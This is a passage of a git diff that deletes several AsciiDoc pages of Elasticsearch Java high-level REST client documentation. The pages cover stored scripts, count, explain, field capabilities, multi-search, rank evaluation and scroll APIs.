---------------------------------------------------
-include-tagged::{doc-tests}/StoredScriptsDocumentationIT.java[put-stored-script-request]
---------------------------------------------------
-<1> The id of the script
-<2> The content of the script
-
-[[java-rest-high-put-stored-script-content]]
-==== Content
-The content of a script can be written in different languages and provided in
-different ways:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/StoredScriptsDocumentationIT.java[put-stored-script-content-painless]
---------------------------------------------------
-<1> Specify a painless script and provided as `XContentBuilder` object.
-Note that the builder needs to be passed as a `BytesReference` object
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/StoredScriptsDocumentationIT.java[put-stored-script-content-mustache]
---------------------------------------------------
-<1> Specify a mustache script and provided as `XContentBuilder` object.
-Note that value of source can be directly provided as a JSON string
-
-==== Optional arguments
-The following arguments can optionally be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/StoredScriptsDocumentationIT.java[put-stored-script-context]
---------------------------------------------------
-<1> The context the script should be executed in.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/StoredScriptsDocumentationIT.java[put-stored-script-timeout]
---------------------------------------------------
-<1> Timeout to wait for the all the nodes to acknowledge the script creation as a `TimeValue`
-<2> Timeout to wait for the all the nodes to acknowledge the script creation as a `String`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/StoredScriptsDocumentationIT.java[put-stored-script-masterTimeout]
---------------------------------------------------
-<1> Timeout to connect to the master node as a `TimeValue`
-<2> Timeout to connect to the master node as a `String`
-
-[[java-rest-high-put-stored-script-sync]]
-==== Synchronous Execution
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/StoredScriptsDocumentationIT.java[put-stored-script-execute]
---------------------------------------------------
-
-[[java-rest-high-put-stored-script-async]]
-==== Asynchronous Execution
-
-The asynchronous execution of a put stored script request requires both the `PutStoredScriptRequest`
-instance and an `ActionListener` instance to be passed to the asynchronous method:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/StoredScriptsDocumentationIT.java[put-stored-script-execute-async]
---------------------------------------------------
-<1> The `PutStoredScriptRequest` to execute and the `ActionListener` to use when
-the execution completes
-
-[[java-rest-high-put-stored-script-listener]]
-===== Action Listener
-
-The asynchronous method does not block and returns immediately. Once it is
-completed the `ActionListener` is called back using the `onResponse` method
-if the execution successfully completed or using the `onFailure` method if
-it failed.
-
-A typical listener for `AcknowledgedResponse` looks like:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/StoredScriptsDocumentationIT.java[put-stored-script-execute-listener]
---------------------------------------------------
-<1> Called when the execution is successfully completed. The response is
-provided as an argument
-<2> Called in case of failure. The raised exception is provided as an argument
-
-[[java-rest-high-put-stored-script-response]]
-==== Put Stored Script Response
-
-The returned `AcknowledgedResponse` allows to retrieve information about the
-executed operation as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/StoredScriptsDocumentationIT.java[put-stored-script-response]
---------------------------------------------------
-<1> Indicates whether all of the nodes have acknowledged the request
\ No newline at end of file
diff --git a/docs/java-rest/high-level/search/count.asciidoc b/docs/java-rest/high-level/search/count.asciidoc
deleted file mode 100644
index 2796d34ab36..00000000000
--- a/docs/java-rest/high-level/search/count.asciidoc
+++ /dev/null
@@ -1,96 +0,0 @@
---
-:api: count
-:request: CountRequest
-:response: CountResponse
---
-[id="{upid}-{api}"]
-
-=== Count API
-
-[id="{upid}-{api}-request"]
-
-==== Count Request
-
-The +{request}+ is used to execute a query and get the number of matches for the query. The query to use in +{request}+ can be
-set in similar way as query in `SearchRequest` using `SearchSourceBuilder`.
-
-In its most basic form, we can add a query to the request:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-basic]
---------------------------------------------------
-
-<1> Creates the +{request}+. Without arguments this runs against all indices.
-<2> Most search parameters are added to the `SearchSourceBuilder`.
-<3> Add a `match_all` query to the `SearchSourceBuilder`.
-<4> Add the `SearchSourceBuilder` to the +{request}+.
-
-[[java-rest-high-count-request-optional]]
-===== Count Request optional arguments
-
-A +{request}+ also takes the following optional arguments:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-args]
---------------------------------------------------
-<1> Restricts the request to an index
-<2> Set a routing parameter
-<3> Setting `IndicesOptions` controls how unavailable indices are resolved and how wildcard expressions are expanded
-<4> Use the preference parameter e.g. to execute the search to prefer local shards. The default is to randomize across shards.
-
-===== Using the SearchSourceBuilder in CountRequest
-
-Both in search and count API calls, most options controlling the search behavior can be set on the `SearchSourceBuilder`,
-which contains more or less the equivalent of the options in the search request body of the Rest API.
-
-Here are a few examples of some common options:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-source-basics]
---------------------------------------------------
-<1> Create a `SearchSourceBuilder` with default options.
-<2> Set the query. Can be any type of `QueryBuilder`
-
-After this, the `SearchSourceBuilder` only needs to be added to the
-+{request}+:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-source-setter]
---------------------------------------------------
-
-Note subtle difference when using `SearchSourceBuilder` in `SearchRequest` and using `SearchSourceBuilder` in +{request}+ - using
-`SearchSourceBuilder` in `SearchRequest` one can use `SearchSourceBuilder.size()` and `SearchSourceBuilder.from()` methods to set the
-number of search hits to return, and the starting index. In +{request}+ we're interested in total number of matches and these methods
-have no meaning.
-
-The <<java-rest-high-query-builders, Building Queries>> page gives a list of all available search queries with
-their corresponding `QueryBuilder` objects and `QueryBuilders` helper methods.
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== CountResponse
-
-The +{response}+ that is returned by executing the count API call provides total count of hits and details about the count execution
-itself, like the HTTP status code, or whether the request terminated early:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response-1]
---------------------------------------------------
-
-The response also provides information about the execution on the
-shard level by offering statistics about the total number of shards that were
-affected by the underlying search, and the successful vs. unsuccessful shards. Possible
-failures can also be handled by iterating over an array off
-`ShardSearchFailures` like in the following example:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response-2]
---------------------------------------------------
-
diff --git a/docs/java-rest/high-level/search/explain.asciidoc b/docs/java-rest/high-level/search/explain.asciidoc
deleted file mode 100644
index fd23bf1b80c..00000000000
--- a/docs/java-rest/high-level/search/explain.asciidoc
+++ /dev/null
@@ -1,112 +0,0 @@
-[[java-rest-high-explain]]
-=== Explain API
-
-The explain api computes a score explanation for a query and a specific document.
-This can give useful feedback whether a document matches or didn’t match a specific query.
-
-[[java-rest-high-explain-request]]
-==== Explain Request
-
-An `ExplainRequest` expects an `index` and an `id` to specify a certain document,
-and a query represented by `QueryBuilder` to run against it (the way of <<java-rest-high-query-builders, building queries>>).
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[explain-request]
---------------------------------------------------
-
-===== Optional arguments
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[explain-request-routing]
---------------------------------------------------
-<1> Set a routing parameter
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[explain-request-preference]
---------------------------------------------------
-<1> Use the preference parameter e.g. to execute the search to prefer local
-shards. The default is to randomize across shards.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[explain-request-source]
---------------------------------------------------
-<1> Set to true to retrieve the _source of the document explained. You can also
-retrieve part of the document by using _source_include & _source_exclude
-(see <<java-rest-high-document-get-request-optional-arguments, Get API>> for more details)
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[explain-request-stored-field]
---------------------------------------------------
-<1> Allows to control which stored fields to return as part of the document explained
-(requires the field to be stored separately in the mappings).
-
-[[java-rest-high-explain-sync]]
-==== Synchronous Execution
-
-The `explain` method executes the request synchronously:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[explain-execute]
---------------------------------------------------
-
-[[java-rest-high-explain-async]]
-==== Asynchronous Execution
-
-The `explainAsync` method executes the request asynchronously,
-calling the provided `ActionListener` when the response is ready:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[explain-execute-async]
---------------------------------------------------
-<1> The `ExplainRequest` to execute and the `ActionListener` to use when
-the execution completes.
-
-The asynchronous method does not block and returns immediately. Once the request
-completes, the `ActionListener` is called back using the `onResponse` method
-if the execution successfully completed or using the `onFailure` method if
-it failed.
-
-A typical listener for `ExplainResponse` is constructed as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[explain-execute-listener]
---------------------------------------------------
-<1> Called when the execution is successfully completed.
-<2> Called when the whole `ExplainRequest` fails.
-
-[[java-rest-high-explain-response]]
-==== ExplainResponse
-
-The `ExplainResponse` contains the following information:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[explain-response]
---------------------------------------------------
-<1> The index name of the explained document.
-<2> The id of the explained document.
-<3> Indicates whether or not the explained document exists.
-<4> Indicates whether or not there is a match between the explained document and
-the provided query (the `match` is retrieved from the lucene `Explanation` behind the scenes
-if the lucene `Explanation` models a match, it returns `true`, otherwise it returns `false`).
-<5> Indicates whether or not there exists a lucene `Explanation` for this request.
-<6> Get the lucene `Explanation` object if there exists.
-<7> Get the `GetResult` object if the `_source` or the stored fields are retrieved.
-
-The `GetResult` contains two maps internally to store the fetched `_source` and stored fields.
-You can use the following methods to get them:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[get-result]
---------------------------------------------------
-<1> Retrieve the `_source` as a map.
-<2> Retrieve the specified stored fields as a map.
diff --git a/docs/java-rest/high-level/search/field-caps.asciidoc b/docs/java-rest/high-level/search/field-caps.asciidoc
deleted file mode 100644
index 1f5b10ad034..00000000000
--- a/docs/java-rest/high-level/search/field-caps.asciidoc
+++ /dev/null
@@ -1,82 +0,0 @@
-[[java-rest-high-field-caps]]
-=== Field Capabilities API
-
-The field capabilities API allows for retrieving the capabilities of fields across multiple indices.
-
-[[java-rest-high-field-caps-request]]
-==== Field Capabilities Request
-
-A `FieldCapabilitiesRequest` contains a list of fields to get capabilities for,
-should be returned, plus an optional list of target indices. If no indices
-are provided, the request will be executed on all indices.
-
-Note that fields parameter supports wildcard notation. For example, providing `text_*`
-will cause all fields that match the expression to be returned.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[field-caps-request]
---------------------------------------------------
-
-[[java-rest-high-field-caps-request-optional]]
-===== Optional arguments
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[field-caps-request-indicesOptions]
---------------------------------------------------
-<1> Setting `IndicesOptions` controls how unavailable indices are resolved and
-how wildcard expressions are expanded.
-
-[[java-rest-high-field-caps-sync]]
-==== Synchronous Execution
-
-The `fieldCaps` method executes the request synchronously:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[field-caps-execute]
---------------------------------------------------
-
-[[java-rest-high-field-caps-async]]
-==== Asynchronous Execution
-
-The `fieldCapsAsync` method executes the request asynchronously,
-calling the provided `ActionListener` when the response is ready:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[field-caps-execute-async]
---------------------------------------------------
-<1> The `FieldCapabilitiesRequest` to execute and the `ActionListener` to use when
-the execution completes.
-
-The asynchronous method does not block and returns immediately. Once the request
-completes, the `ActionListener` is called back using the `onResponse` method
-if the execution successfully completed or using the `onFailure` method if
-it failed.
-
-A typical listener for `FieldCapabilitiesResponse` is constructed as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[field-caps-execute-listener]
---------------------------------------------------
-<1> Called when the execution is successfully completed.
-<2> Called when the whole `FieldCapabilitiesRequest` fails.
-
-[[java-rest-high-field-caps-response]]
-==== FieldCapabilitiesResponse
-
-For each requested field, the returned `FieldCapabilitiesResponse` contains its type
-and whether or not it can be searched or aggregated on. The response also gives
-information about how each index contributes to the field's capabilities.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[field-caps-response]
---------------------------------------------------
-<1> A map with entries for the field's possible types, in this case `keyword` and `text`.
-<2> All indices where the `user` field has type `keyword`.
-<3> The subset of these indices where the `user` field isn't searchable, or null if it's always searchable.
-<4> Another subset of these indices where the `user` field isn't aggregatable, or null if it's always aggregatable.
\ No newline at end of file
diff --git a/docs/java-rest/high-level/search/multi-search-template.asciidoc b/docs/java-rest/high-level/search/multi-search-template.asciidoc
deleted file mode 100644
index c5133f6614e..00000000000
--- a/docs/java-rest/high-level/search/multi-search-template.asciidoc
+++ /dev/null
@@ -1,81 +0,0 @@
-[[java-rest-high-multi-search-template]]
-=== Multi-Search-Template API
-
-The `multiSearchTemplate` API executes multiple <<java-rest-high-search-template,`search template`>>
-requests in a single http request in parallel.
-
-[[java-rest-high-multi-search-template-request]]
-==== Multi-Search-Template Request
-
-The `MultiSearchTemplateRequest` is built empty and you add all of the searches that
-you wish to execute to it:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[multi-search-template-request-inline]
---------------------------------------------------
-<1> Create an empty `MultiSearchTemplateRequest`.
-<2> Create one or more `SearchTemplateRequest` objects and populate them just like you
-would for a regular <<java-rest-high-search-template,`search template`>>.
-<3> Add the `SearchTemplateRequest` to the `MultiSearchTemplateRequest`.
-
-===== Optional arguments
-
-The multiSearchTemplate's `max_concurrent_searches` request parameter can be used to control
-the maximum number of concurrent searches the multi search api will execute.
-This default is based on the number of data nodes and the default search thread pool size.
-
-[[java-rest-high-multi-search-template-sync]]
-==== Synchronous Execution
-
-The `multiSearchTemplate` method executes `MultiSearchTemplateRequest`s synchronously:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[multi-search-template-request-sync]
---------------------------------------------------
-
-[[java-rest-high-multi-search-template-async]]
-==== Asynchronous Execution
-
-The `multiSearchTemplateAsync` method executes `MultiSearchTemplateRequest`s asynchronously,
-calling the provided `ActionListener` when the response is ready.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[multi-search-template-execute-async]
---------------------------------------------------
-The parameters are the `MultiSearchTemplateRequest` to execute and the `ActionListener` to use when
-the execution completes
-
-The asynchronous method does not block and returns immediately. Once it is
-completed the `ActionListener` is called back using the `onResponse` method
-if the execution successfully completed or using the `onFailure` method if
-it failed.
-
-A typical listener for `MultiSearchTemplateResponse` looks like:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[multi-search-template-execute-listener]
---------------------------------------------------
-<1> Called when the execution is successfully completed.
-<2> Called when the whole `MultiSearchTemplateRequest` fails.
-
-==== MultiSearchTemplateResponse
-
-The `MultiSearchTemplateResponse` that is returned by executing the `multiSearchTemplate` method contains
-a `MultiSearchTemplateResponse.Item` for each `SearchTemplateRequest` in the
-`MultiSearchTemplateRequest`. Each `MultiSearchTemplateResponse.Item` contains an
-exception in `getFailure` if the request failed or a
-<<java-rest-high-search-response,`SearchResponse`>> in `getResponse` if
-the request succeeded:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[multi-search-template-response]
---------------------------------------------------
-<1> An array of responses is returned - one response for each request
-<2> Failed search template requests have error messages
-<3> Successful requests contain a <<java-rest-high-search-response,`SearchResponse`>> in
-`getResponse`.
diff --git a/docs/java-rest/high-level/search/multi-search.asciidoc b/docs/java-rest/high-level/search/multi-search.asciidoc
deleted file mode 100644
index 205fe4bfe93..00000000000
--- a/docs/java-rest/high-level/search/multi-search.asciidoc
+++ /dev/null
@@ -1,89 +0,0 @@
-[[java-rest-high-multi-search]]
-=== Multi-Search API
-
-The `multiSearch` API executes multiple <<java-rest-high-search,`search`>>
-requests in a single http request in parallel.
-
-[[java-rest-high-multi-search-request]]
-==== Multi-Search Request
-
-The `MultiSearchRequest` is built empty and you add all of the searches that
-you wish to execute to it:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[multi-search-request-basic]
---------------------------------------------------
-<1> Create an empty `MultiSearchRequest`.
-<2> Create an empty `SearchRequest` and populate it just like you
-would for a regular <<java-rest-high-search,`search`>>.
-<3> Add the `SearchRequest` to the `MultiSearchRequest`.
-<4> Build a second `SearchRequest` and add it to the `MultiSearchRequest`.
-
-===== Optional arguments
-
-The `SearchRequest`s inside of `MultiSearchRequest` support all of
-<<java-rest-high-search-request-optional,`search`>>'s optional arguments.
-For example:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[search-request-indices]
---------------------------------------------------
-<1> Restricts the request to an index
-
-[[java-rest-high-multi-search-sync]]
-==== Synchronous Execution
-
-The `multiSearch` method executes `MultiSearchRequest`s synchronously:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[multi-search-execute]
---------------------------------------------------
-
-[[java-rest-high-multi-search-async]]
-==== Asynchronous Execution
-
-The `multiSearchAsync` method executes `MultiSearchRequest`s asynchronously,
-calling the provided `ActionListener` when the response is ready.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[multi-search-execute-async]
---------------------------------------------------
-<1> The `MultiSearchRequest` to execute and the `ActionListener` to use when
-the execution completes
-
-The asynchronous method does not block and returns immediately. Once it is
-completed the `ActionListener` is called back using the `onResponse` method
-if the execution successfully completed or using the `onFailure` method if
-it failed.
-
-A typical listener for `MultiSearchResponse` looks like:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[multi-search-execute-listener]
---------------------------------------------------
-<1> Called when the execution is successfully completed.
-<2> Called when the whole `SearchRequest` fails.
-
-==== MultiSearchResponse
-
-The `MultiSearchResponse` that is returned by executing the `multiSearch` method contains
-a `MultiSearchResponse.Item` for each `SearchRequest` in the
-`MultiSearchRequest`. Each `MultiSearchResponse.Item` contains an
-exception in `getFailure` if the request failed or a
-<<java-rest-high-search-response,`SearchResponse`>> in `getResponse` if
-the request succeeded:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[multi-search-response]
---------------------------------------------------
-<1> The item for the first search.
-<2> It succeeded so `getFailure` returns null.
-<3> And there is a <<java-rest-high-search-response,`SearchResponse`>> in
-`getResponse`.
-<4> The item for the second search.
diff --git a/docs/java-rest/high-level/search/rank-eval.asciidoc b/docs/java-rest/high-level/search/rank-eval.asciidoc
deleted file mode 100644
index 195e1f92f3b..00000000000
--- a/docs/java-rest/high-level/search/rank-eval.asciidoc
+++ /dev/null
@@ -1,89 +0,0 @@
-[[java-rest-high-rank-eval]]
-=== Ranking Evaluation API
-
-The `rankEval` method allows to evaluate the quality of ranked search
-results over a set of search request. Given sets of manually rated
-documents for each search request, ranking evaluation performs a
-<<java-rest-high-multi-search,multi search>> request and calculates
-information retrieval metrics like _mean reciprocal rank_, _precision_
-or _discounted cumulative gain_ on the returned results.
-
-[[java-rest-high-rank-eval-request]]
-==== Ranking Evaluation Request
-
-In order to build a `RankEvalRequest`, you first need to create an
-evaluation specification (`RankEvalSpec`). This specification requires
-to define the evaluation metric that is going to be calculated, as well
-as a list of rated documents per search requests. Creating the ranking
-evaluation request then takes the specification and a list of target
-indices as arguments:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[rank-eval-request-basic]
---------------------------------------------------
-<1> Define the metric used in the evaluation
-<2> Add rated documents, specified by index name, id and rating
-<3> Create the search query to evaluate
-<4> Combine the three former parts into a `RatedRequest`
-<5> Create the ranking evaluation specification
-<6> Create the ranking evaluation request
-
-[[java-rest-high-rank-eval-sync]]
-==== Synchronous Execution
-
-The `rankEval` method executes `RankEvalRequest`s synchronously:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[rank-eval-execute]
---------------------------------------------------
-
-[[java-rest-high-rank-eval-async]]
-==== Asynchronous Execution
-
-The `rankEvalAsync` method executes `RankEvalRequest`s asynchronously,
-calling the provided `ActionListener` when the response is ready.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[rank-eval-execute-async]
---------------------------------------------------
-<1> The `RankEvalRequest` to execute and the `ActionListener` to use when
-the execution completes
-
-The asynchronous method does not block and returns immediately. Once it is
-completed the `ActionListener` is called back using the `onResponse` method
-if the execution successfully completed or using the `onFailure` method if
-it failed.
-
-A typical listener for `RankEvalResponse` looks like:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[rank-eval-execute-listener]
---------------------------------------------------
-<1> Called when the execution is successfully completed.
-<2> Called when the whole `RankEvalRequest` fails.
-
-==== RankEvalResponse
-
-The `RankEvalResponse` that is returned by executing the request 
-contains information about the overall evaluation score, the
-scores of each individual search request in the set of queries and
-detailed information about search hits and details about the metric
-calculation per partial result.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[rank-eval-response]
---------------------------------------------------
-<1> The overall evaluation result
-<2> Partial results that are keyed by their query id
-<3> The metric score for each partial result
-<4> Rated search hits contain a fully fledged `SearchHit`
-<5> Rated search hits also contain an `Optional<Integer>` rating that 
-is not present if the document did not get a rating in the request
-<6> Metric details are named after the metric used in the request
-<7> After casting to the metric used in the request, the
-metric details offers insight into parts of the metric calculation
\ No newline at end of file
diff --git a/docs/java-rest/high-level/search/scroll.asciidoc b/docs/java-rest/high-level/search/scroll.asciidoc
deleted file mode 100644
index 8285243103a..00000000000
--- a/docs/java-rest/high-level/search/scroll.asciidoc
+++ /dev/null
@@ -1,220 +0,0 @@
-[[java-rest-high-search-scroll]]
-=== Search Scroll API
-
-The Scroll API can be used to retrieve a large number of results from
-a search request.
-
-In order to use scrolling, the following steps need to be executed in the
-given order.
-
-
-==== Initialize the search scroll context
-
-An initial search request with a `scroll` parameter must be executed to
-initialize the scroll session through the <<java-rest-high-search>>.
-When processing this `SearchRequest`, Elasticsearch detects the presence of
-the `scroll` parameter and keeps the search context alive for the
-corresponding time interval.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[search-scroll-init]
---------------------------------------------------
-<1> Create the `SearchRequest` and its corresponding `SearchSourceBuilder`.
-Also optionally set the `size` to control how many results to retrieve at
-a time.
-<2> Set the scroll interval
-<3> Read the returned scroll id, which points to the search context that's
-being kept alive and will be needed in the following search scroll call
-<4> Retrieve the first batch of search hits
-
-==== Retrieve all the relevant documents
-
-As a second step, the received scroll identifier must be set to a
-`SearchScrollRequest` along with a new scroll interval and sent through the
-`searchScroll` method. Elasticsearch returns another batch of results with
-a new scroll identifier. This new scroll identifier can then be used in a
-subsequent `SearchScrollRequest` to retrieve the next batch of results,
-and so on. This process should be repeated in a loop until no more results are
-returned, meaning that the scroll has been exhausted and all the matching
-documents have been retrieved.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[search-scroll2]
---------------------------------------------------
-<1> Create the `SearchScrollRequest` by setting the required scroll id and
-the scroll interval
-<2> Read the new scroll id, which points to the search context that's
-being kept alive and will be needed in the following search scroll call
-<3> Retrieve another batch of search hits
-<4>
-
-==== Clear the scroll context
-
-Finally, the last scroll identifier can be deleted using the <<java-rest-high-clear-scroll>>
-in order to release the search context. This happens automatically when the
-scroll expires, but it's good practice to do it as soon as the scroll session
-is completed.
-
-==== Optional arguments
-
-The following arguments can optionally be provided when constructing
-the `SearchScrollRequest`:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[scroll-request-arguments]
---------------------------------------------------
-<1> Scroll interval as a `TimeValue`
-<2> Scroll interval as a `String`
-
-If no `scroll` value is set for the `SearchScrollRequest`, the search context will
-expire once the initial scroll time expired (ie, the scroll time set in the
-initial search request).
-
-[[java-rest-high-search-scroll-sync]]
-==== Synchronous Execution
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[search-scroll-execute-sync]
---------------------------------------------------
-
-[[java-rest-high-search-scroll-async]]
-==== Asynchronous Execution
-
-The asynchronous execution of a search scroll request requires both the `SearchScrollRequest`
-instance and an `ActionListener` instance to be passed to the asynchronous
-method:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[search-scroll-execute-async]
---------------------------------------------------
-<1> The `SearchScrollRequest` to execute and the `ActionListener` to use when
-the execution completes
-
-The asynchronous method does not block and returns immediately. Once it is
-completed the `ActionListener` is called back using the `onResponse` method
-if the execution successfully completed or using the `onFailure` method if
-it failed.
-
-A typical listener for `SearchResponse` looks like:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[search-scroll-execute-listener]
---------------------------------------------------
-<1> Called when the execution is successfully completed. The response is
-provided as an argument
-<2> Called in case of failure. The raised exception is provided as an argument
-
-[[java-rest-high-search-scroll-response]]
-==== Response
-
-The search scroll API returns a `SearchResponse` object, same as the
-Search API.
-
-[[java-rest-high-search-scroll-example]]
-==== Full example
-
-The following is a complete example of a scrolled search.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[search-scroll-example]
---------------------------------------------------
-<1> Initialize the search context by sending the initial `SearchRequest`
-<2> Retrieve all the search hits by calling the Search Scroll api in a loop
-until no documents are returned
-<3> Process the returned search results
-<4> Create a new `SearchScrollRequest` holding the last returned scroll
-identifier and the scroll interval
-<5> Clear the scroll context once the scroll is completed
-
-[[java-rest-high-clear-scroll]]
-=== Clear Scroll API
-
-The search contexts used by the Search Scroll API are automatically deleted when the scroll
-times out. But it is advised to release search contexts as soon as they are not
-necessary anymore using the Clear Scroll API.
-
-[[java-rest-high-clear-scroll-request]]
-==== Clear Scroll Request
-
-A `ClearScrollRequest` can be created as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[clear-scroll-request]
---------------------------------------------------
-<1> Create a new `ClearScrollRequest`
-<2> Adds a scroll id to the list of scroll identifiers to clear
-
-==== Providing the scroll identifiers
-The `ClearScrollRequest` allows to clear one or more scroll identifiers in a single request.
-
-The scroll identifiers can be added to the request one by one:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[clear-scroll-add-scroll-id]
---------------------------------------------------
-
-Or all together using:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[clear-scroll-add-scroll-ids]
---------------------------------------------------
-
-[[java-rest-high-clear-scroll-sync]]
-==== Synchronous Execution
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[clear-scroll-execute]
---------------------------------------------------
-
-[[java-rest-high-clear-scroll-async]]
-==== Asynchronous Execution
-
-The asynchronous execution of a clear scroll request requires both the `ClearScrollRequest`
-instance and an `ActionListener` instance to be passed to the asynchronous
-method:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[clear-scroll-execute-async]
---------------------------------------------------
-<1> The `ClearScrollRequest` to execute and the `ActionListener` to use when
-the execution completes
-
-The asynchronous method does not block and returns immediately. Once it is
-completed the `ActionListener` is called back using the `onResponse` method
-if the execution successfully completed or using the `onFailure` method if
-it failed.
-
-A typical listener for `ClearScrollResponse` looks like:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[clear-scroll-execute-listener]
---------------------------------------------------
-<1> Called when the execution is successfully completed. The response is
-provided as an argument
-<2> Called in case of failure. The raised exception is provided as an argument
-
-[[java-rest-high-clear-scroll-response]]
